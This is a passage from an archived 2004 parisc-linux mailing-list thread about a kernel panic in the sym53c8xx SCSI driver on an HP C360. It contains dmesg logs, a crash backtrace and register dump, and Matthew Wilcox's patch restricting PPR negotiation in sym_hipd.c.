 target0:0:6: Ending Domain Validation
sym0:9:ppr msgin: 1-6-4-c-0-3f-1-2.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
  Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:9:0: tagged command queuing enabled, command queue depth 16.
 target0:0:9: Beginning Domain Validation
sym0:9:wide msgout: 1-2-3-0.
sym0:9:wide msgin: 1-2-3-0.
sym0:9:wdtr: wide=0 chg=0.
sym0:9:sync msgin: 1-3-1-c-1f.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=1.
sym0:9: FAST-20 SCSI 20.0 MB/s ST (50.0 ns, offset 16)
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:sync msgin: 1-3-1-c-10.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=0.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:sync msgin: 1-3-1-c-10.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=0.
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgout: 1-3-1-c-10.
sym0:9:sync msgin: 1-3-1-c-10.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-d-10.
sym0:9:sync msgin: 1-3-1-19-10.
sym0:9:sdtr: ofs=16 per=25 div=2 fak=0 chg=0.
sym0:9: FAST-10 WIDE SCSI 20.0 MB/s ST (100.0 ns, offset 16)
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgout: 1-3-1-19-10.
sym0:9:sync msgin: 1-3-1-19-10.
sym0:9:sdtr: ofs=16 per=25 div=2 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-25-10.
sym0:9:sync msgin: 1-3-1-25-10.
sym0:9:sdtr: ofs=16 per=37 div=2 fak=2 chg=0.
sym0:9: FAST-10 WIDE SCSI 13.5 MB/s ST (148.0 ns, offset 16)
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgout: 1-3-1-25-10.
sym0:9:sync msgin: 1-3-1-25-10.
sym0:9:sdtr: ofs=16 per=37 div=2 fak=2 chg=0.
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-37-10.
sym0:9:sync msgin: 1-3-1-38-10.
sym0:9:sdtr: ofs=16 per=56 div=4 fak=1 chg=0.
sym0:9: FAST-5 WIDE SCSI 8.9 MB/s ST (224.0 ns, offset 16)
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgout: 1-3-1-38-10.
sym0:9:sync msgin: 1-3-1-38-10.
sym0:9:sdtr: ofs=16 per=56 div=4 fak=1 chg=0.
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-54-10.
sym0:9:sync msgin: 1-3-1-57-10.
sym0:9: wide asynchronous.
sym0:9:0:M_REJECT to send for : 1-3-1-57-10.
sym0:9:sync msgout: 1-3-1-c-0.
sym0:9:sync msgin: 1-3-1-c-0.
sym0:9:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-7e-0.
sym0:9:sync msgin: 1-3-1-7e-0.
sym0:9:sdtr: ofs=0 per=126 div=0 fak=0 chg=0.
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgin: 1-3-1-c-1f.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=1.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
sym0:9:sync msgout: 1-3-1-c-10.
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation detected failure, dropping back
sym0:9:sync msgout: 1-3-1-89-10.
sym0:9:sync msgin: 1-3-1-89-0.
sym0:9:sdtr: ofs=0 per=137 div=0 fak=0 chg=0.
sym0:9: wide asynchronous.
sym0:9:wide msgout: 1-2-3-1.
sym0:9:wide msgin: 1-2-3-1.
sym0:9:wdtr: wide=1 chg=0.
sym0:9:sync msgin: 1-3-1-c-1f.
sym0:9:sdtr: ofs=16 per=12 div=0 fak=0 chg=1.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
sym0:9:sync msgout: 1-3-1-c-10.
 target0:0:9: Write Buffer failure 8000002
 target0:0:9: Domain Validation Failure, dropping back to Asynchronous
 target0:0:9: Ending Domain Validation
sym0:9:sync msgout: 1-3-1-c-0.
sym0:9:sync msgin: 1-3-1-c-0.
sym0:9:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
sym0:9: wide asynchronous.
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
  Vendor: TOSHIBA   Model: CD-ROM XM-5301TA  Rev: 1895
  Type:   CD-ROM                             ANSI SCSI revision: 02
 target1:0:2: Beginning Domain Validation
scsi1: (2:0) Asynchronous
scsi1: (2:0) Synchronous at offset 8, period 236ns
 target1:0:2: Domain Validation skipping write tests
 target1:0:2: Ending Domain Validation
sym0:6:wide msgout: 1-2-3-1.
sym0:6:wide msgin: 1-2-3-1.
sym0:6:wdtr: wide=1 chg=0.
sym0:6:sync msgout: 1-3-1-c-f.
sym0:6:sync msgin: 1-3-1-c-f.
sym0:6:sdtr: ofs=15 per=12 div=0 fak=0 chg=0.
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
 sdb: unknown partition table
Attached scsi disk sdb at scsi0, channel 0, id 9, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 9, lun 0,  type 0
Attached scsi generic sg2 at scsi1, channel 0, id 2, lun 0,  type 5

--Boundary-00=_EfN0Bq8x0SMuXVk
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_EfN0Bq8x0SMuXVk--



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Mon, 27 Dec 2004 23:01:03 -0500
Organization: wh0rd.org
Lines: 116
Approved: news@gmane.org
Message-ID: <200412272301.03299.vapier@gentoo.org>
References: <200412260504.40205.vapier@gentoo.org>
	<200412272045.34143.vapier@gentoo.org>
	<20041228033520.GO11543@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_/pN0BYQa/5K4PGB"
X-Trace: ger.gmane.org 1416624516 26539 80.91.229.3 (22 Nov 2014 02:48:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2004 04:01:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx020) with SMTP; 28 Dec 2004 05:01:13 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B71903BE53; Mon, 27 Dec 2004 21:01:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25913-10; Mon, 27 Dec 2004 21:01:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 47B513BE56; Mon, 27 Dec 2004 21:01:02 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 974B83BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 21:00:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25913-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 21:00:56 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 92DE53BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Dec 2004 21:00:56 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 36B24495617; Mon, 27 Dec 2004 21:00:56 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id 948A0495612
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Dec 2004 21:00:55 -0700 (MST)
Original-Received: (qmail 32247 invoked from network); 27 Dec 2004 23:00:53 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 27 Dec 2004 23:00:53 -0500
Original-Received: (qmail 10229 invoked from network); 27 Dec 2004 23:00:50 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 27 Dec 2004 23:00:50 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <20041228033520.GO11543@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25046

--Boundary-00=_/pN0BYQa/5K4PGB
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Monday 27 December 2004 10:35 pm, Matthew Wilcox wrote:
> Can you try the following patch?  We're not actually disabling ppr atm,
> depite what the comment says.

kernel panic :(

find attach dmesg
-mike

--Boundary-00=_/pN0BYQa/5K4PGB
Content-Type: text/plain; charset="iso-8859-1";
	name="2.6.10-pa1-scsi-debug-patch3"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="2.6.10-pa1-scsi-debug-patch3"

sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
elevator: using anticipatory as default io scheduler
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
 target0:0:6: Beginning Domain Validation
sym0:6:wide msgout: 1-2-3-1.
sym0:6:wide msgin: 1-2-3-1.
sym0:6:wdtr: wide=1 chg=0.
sym0:6:sync msgout: 1-3-1-c-0.
sym0:6:sync msgin: 1-3-1-c-0.
sym0:6:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
sym0:6: wide asynchronous.
sym0:6:sync msgout: 1-3-1-c-10.
sym0:6:sync msgin: 1-3-1-c-f.
sym0:6:sdtr: ofs=15 per=12 div=0 fak=0 chg=0.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
 target0:0:6: Domain Validation skipping write tests
 target0:0:6: Ending Domain Validation
sym0:9:ppr msgin: 1-6-4-c-0-3f-1-2.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
  Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:9:0: tagged command queuing enabled, command queue depth 16.
 target0:0:9: Beginning Domain Validation
sym0:9:ppr msgout: 1-6-4-c-0-0-0-0.
sym0:9:ppr msgin: 1-6-4-a-0-0-0-0.
sym0:9: asynchronous.
sym0:9:ppr msgout: 1-6-4-c-0-0-1-0.
sym0:9:ppr msgin: 1-6-4-a-0-0-1-0.
sym0:9: wide asynchronous.
sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
sym0:9:ppr msgin: 1-6-4-a-0-10-1-0.
Backtrace:
 [<1029cf04>] sym53c8xx_intr+0x30/0x88
 [<1010708c>] do_irq+0x84/0x158
 [<1024234c>] dino_isr+0xa4/0x110
 [<1010708c>] do_irq+0x84/0x158
 [<10107214>] do_cpu_irq_mask+0xb4/0x124
 [<1010c068>] intr_return+0x0/0x14
 [<10112674>] cpu_idle+0x20/0x30
 [<101776a4>] may_open+0x58/0x20c
 [<10165b04>] dentry_open+0xd8/0x258
 [<1017a854>] dupfd+0x1e4/0x234
 [<10434610>] start_kernel+0x4/0x1e0
 [<10434610>] start_kernel+0x4/0x1e0
 [<10434610>] start_kernel+0x4/0x1e0
 [<10434610>] start_kernel+0x4/0x1e0
 [<10434610>] start_kernel+0x4/0x1e0
 [<10434610>] start_kernel+0x4/0x1e0


Kernel Fault: Code=13 regs=10428600 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110 Not tainted
r00-03  00000000 ffffffff 1042858a 00000000
r04-07  00000010 00000000 10fc4000 10fc4c00
r08-11  103f6810 00000000 00000009 10fc4310
r12-15  0000000a 00000001 000000fd f0100000
r16-19  10428140 f0000154 f000014c 103f7168
r20-23  00000000 103f7168 ffffffff 1042858b
r24-27  0000000a 00000000 01312cff 103ca010
r28-31  000000fa 00000005 10428600 1029f8d8
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1023122c 10231230
 IIR: b3202000    ISR: 10240001  IOR: 0a0285f0
 CPU:        0   CR30: 10428000 CR31: 1042c000
 ORIG_R28: 00000000
 IAOQ[0]: $$divU+0xc/0x210
 IAOQ[1]: $$divU+0x10/0x210
 RP(r2): 0x1042858a
Kernel panic - not syncing: Kernel Fault
 <0>Rebooting in 3 seconds..

--Boundary-00=_/pN0BYQa/5K4PGB
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_/pN0BYQa/5K4PGB--



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Wed, 29 Dec 2004 03:43:31 +0000
Lines: 196
Approved: news@gmane.org
Message-ID: <20041229034331.GS11543@parcelfarce.linux.theplanet.co.uk>
References: <200412260504.40205.vapier@gentoo.org>
	<200412272045.34143.vapier@gentoo.org>
	<20041228033520.GO11543@parcelfarce.linux.theplanet.co.uk>
	<200412272301.03299.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624517 26541 80.91.229.3 (22 Nov 2014 02:48:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 03:44:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 29 Dec 2004 04:44:17 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A1B3C3BE66; Tue, 28 Dec 2004 20:44:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07048-06; Tue, 28 Dec 2004 20:44:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B5C093BE69; Tue, 28 Dec 2004 20:43:40 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 947943BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Dec 2004 20:43:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06689-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Dec 2004 20:43:34 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9BE2E3BE64
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Dec 2004 20:43:34 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 28608495617; Tue, 28 Dec 2004 20:43:34 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 9CC32495612
	for <parisc-linux@parisc-linux.org>;
	Tue, 28 Dec 2004 20:43:33 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CjUkF-0001W4-H8; Wed, 29 Dec 2004 03:43:31 +0000
Content-Disposition: inline
In-Reply-To: <200412272301.03299.vapier@gentoo.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25047

On Mon, Dec 27, 2004 at 11:01:03PM -0500, Mike Frysinger wrote:
> On Monday 27 December 2004 10:35 pm, Matthew Wilcox wrote:
> > Can you try the following patch?  We're not actually disabling ppr atm,
> > depite what the comment says.
> 
> kernel panic :(

Okey dokey.  Here's a new one.  Now we only use PPR if we have a good
reason (eg we want to negotiate FAST-80 or DT clocking).  I'm sick of
devices that implement SDTR perfectly and have buggy PPR ;-(

Index: drivers/scsi/sym53c8xx_2/sym_hipd.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/sym53c8xx_2/sym_hipd.c,v
retrieving revision 1.43
diff -u -p -r1.43 sym_hipd.c
--- drivers/scsi/sym53c8xx_2/sym_hipd.c	2 Dec 2004 19:51:11 -0000	1.43
+++ drivers/scsi/sym53c8xx_2/sym_hipd.c	29 Dec 2004 03:31:30 -0000
@@ -1428,13 +1428,12 @@ static void sym_update_dmap_regs(struct 
 }
 #endif
 
+/* Enforce all the fiddly SPI rules and the chip limitations */
 static void sym_check_goals(struct scsi_device *sdev)
 {
 	struct sym_hcb *np = ((struct host_data *)sdev->host->hostdata)->ncb;
 	struct sym_trans *st = &np->target[sdev->id].tinfo.goal;
 
-	/* here we enforce all the fiddly SPI rules */
-
 	if (!scsi_device_wide(sdev))
 		st->width = 0;
 
@@ -1444,7 +1443,7 @@ static void sym_check_goals(struct scsi_
 		st->offset = 0;
 		return;
 	}
-		
+
 	if (scsi_device_dt(sdev)) {
 		if (scsi_device_dt_only(sdev))
 			st->options |= PPR_OPT_DT;
@@ -1455,8 +1454,8 @@ static void sym_check_goals(struct scsi_
 		st->options &= ~PPR_OPT_DT;
 	}
 
-	/* Some targets fail to properly negotiate using PPR in SE mode */
-	if (!((np->scsi_mode == SMODE_LVD) && (np->features & FE_ULTRA3)))
+	/* Some targets fail to properly negotiate DT in SE mode */
+	if ((np->scsi_mode != SMODE_LVD) || !(np->features & FE_U3EN))
 		st->options &= ~PPR_OPT_DT;
 
 	if (st->options & PPR_OPT_DT) {
@@ -1486,38 +1485,31 @@ static void sym_check_goals(struct scsi_
  *  negotiation and the nego_status field of the CCB.
  *  Returns the size of the message in bytes.
  */
-static int sym_prepare_nego(struct sym_hcb *np, ccb_p cp, int nego, u_char *msgptr)
+static int sym_prepare_nego(struct sym_hcb *np, ccb_p cp, u_char *msgptr)
 {
 	tcb_p tp = &np->target[cp->target];
-	int msglen = 0;
 	struct scsi_device *sdev = tp->sdev;
+	struct sym_trans *goal = &tp->tinfo.goal;
+	struct sym_trans *curr = &tp->tinfo.curr;
+	int msglen = 0;
+	int nego;
 
 	if (likely(sdev))
 		sym_check_goals(sdev);
 
 	/*
-	 *  Early C1010 chips need a work-around for DT 
-	 *  data transfer to work.
-	 */
-	if (!(np->features & FE_U3EN))
-		tp->tinfo.goal.options = 0;
-	/*
-	 *  negotiate using PPR ?
+	 * Many devices implement PPR in a buggy way, so only use it if we
+	 * really want to.
 	 */
-	if (scsi_device_dt(sdev)) {
+	if ((goal->options & PPR_OPT_MASK) || (goal->period < 0xa)) {
 		nego = NS_PPR;
+	} else if (curr->width != goal->width) {
+		nego = NS_WIDE;
+	} else if (curr->period != goal->period ||
+		   curr->offset != goal->offset) {
+		nego = NS_SYNC;
 	} else {
-		/*
-		 *  negotiate wide transfers ?
-		 */
-		if (tp->tinfo.curr.width != tp->tinfo.goal.width)
-			nego = NS_WIDE;
-		/*
-		 *  negotiate synchronous transfers?
-		 */
-		else if (tp->tinfo.curr.period != tp->tinfo.goal.period ||
-			 tp->tinfo.curr.offset != tp->tinfo.goal.offset)
-			nego = NS_SYNC;
+		nego = 0;
 	}
 
 	switch (nego) {
@@ -1525,24 +1517,24 @@ static int sym_prepare_nego(struct sym_h
 		msgptr[msglen++] = M_EXTENDED;
 		msgptr[msglen++] = 3;
 		msgptr[msglen++] = M_X_SYNC_REQ;
-		msgptr[msglen++] = tp->tinfo.goal.period;
-		msgptr[msglen++] = tp->tinfo.goal.offset;
+		msgptr[msglen++] = goal->period;
+		msgptr[msglen++] = goal->offset;
 		break;
 	case NS_WIDE:
 		msgptr[msglen++] = M_EXTENDED;
 		msgptr[msglen++] = 2;
 		msgptr[msglen++] = M_X_WIDE_REQ;
-		msgptr[msglen++] = tp->tinfo.goal.width;
+		msgptr[msglen++] = goal->width;
 		break;
 	case NS_PPR:
 		msgptr[msglen++] = M_EXTENDED;
 		msgptr[msglen++] = 6;
 		msgptr[msglen++] = M_X_PPR_REQ;
-		msgptr[msglen++] = tp->tinfo.goal.period;
+		msgptr[msglen++] = goal->period;
 		msgptr[msglen++] = 0;
-		msgptr[msglen++] = tp->tinfo.goal.offset;
-		msgptr[msglen++] = tp->tinfo.goal.width;
-		msgptr[msglen++] = tp->tinfo.goal.options & PPR_OPT_MASK;
+		msgptr[msglen++] = goal->offset;
+		msgptr[msglen++] = goal->width;
+		msgptr[msglen++] = goal->options & PPR_OPT_MASK;
 		break;
 	};
 
@@ -3062,7 +3054,6 @@ static void sym_sir_bad_scsi_status(stru
 	u_char		s_status = cp->ssss_status;
 	u_char		h_flags  = cp->host_flags;
 	int		msglen;
-	int		nego;
 	int		i;
 
 	/*
@@ -3137,16 +3128,7 @@ static void sym_sir_bad_scsi_status(stru
 		 *  cp->nego_status is filled by sym_prepare_nego().
 		 */
 		cp->nego_status = 0;
-		nego = 0;
-		if	(tp->tinfo.curr.options & PPR_OPT_MASK)
-			nego = NS_PPR;
-		else if	(tp->tinfo.curr.width != BUS_8_BIT)
-			nego = NS_WIDE;
-		else if (tp->tinfo.curr.offset != 0)
-			nego = NS_SYNC;
-		if (nego)
-			msglen +=
-			sym_prepare_nego (np,cp, nego, &cp->scsi_smsg2[msglen]);
+		msglen += sym_prepare_nego(np, cp, &cp->scsi_smsg2[msglen]);
 		/*
 		 *  Message table indirect structure.
 		 */
@@ -4135,7 +4117,7 @@ sym_ppr_nego_check(struct sym_hcb *np, i
 
 	if (ofs) {
 		unsigned char minsync = dt ? np->minsync_dt : np->minsync;
-		if (per < np->minsync_dt) {
+		if (per < minsync) {
 			chg = 1;
 			per = minsync;
 		}
@@ -5300,7 +5282,7 @@ int sym_queue_scsiio(struct sym_hcb *np,
 	    tp->tinfo.curr.offset  != tp->tinfo.goal.offset ||
 	    tp->tinfo.curr.options != tp->tinfo.goal.options) {
 		if (!tp->nego_cp && lp)
-			msglen += sym_prepare_nego(np, cp, 0, msgptr + msglen);
+			msglen += sym_prepare_nego(np, cp, msgptr + msglen);
 	}
 
 	/*

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
